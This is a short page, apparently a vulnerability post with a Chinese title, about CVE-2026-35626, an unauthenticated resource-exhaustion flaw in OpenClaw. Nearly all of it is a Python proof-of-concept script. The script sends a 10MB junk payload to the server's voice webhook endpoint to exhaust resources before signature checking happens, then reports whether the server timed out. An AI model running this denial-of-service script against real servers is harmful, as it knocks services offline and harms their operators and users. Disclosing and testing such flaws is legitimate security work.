CVE-2026-35626 OpenClaw 未认证资源耗尽漏洞

import requests # Target URL (replace with actual endpoint) target_url = "http://target-openclaw-server/api/webhook/voice" # Generate a large payload to exhaust server resources # Sending a 10MB payload large_payload = "A" * (10 * 1024 * 1024) headers = { "User-Agent": "CVE-2026-35626-POC", "Content-Type": "application/json" } try: print(f"Sending large payload to {target_url}...") # The vulnerability occurs because the server buffers the body # before checking the signature in the headers. response = requests.post(target_url, data=large_payload, headers=headers, timeout=10) print(f"Response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed or server timed out (Possible DoS): {e}")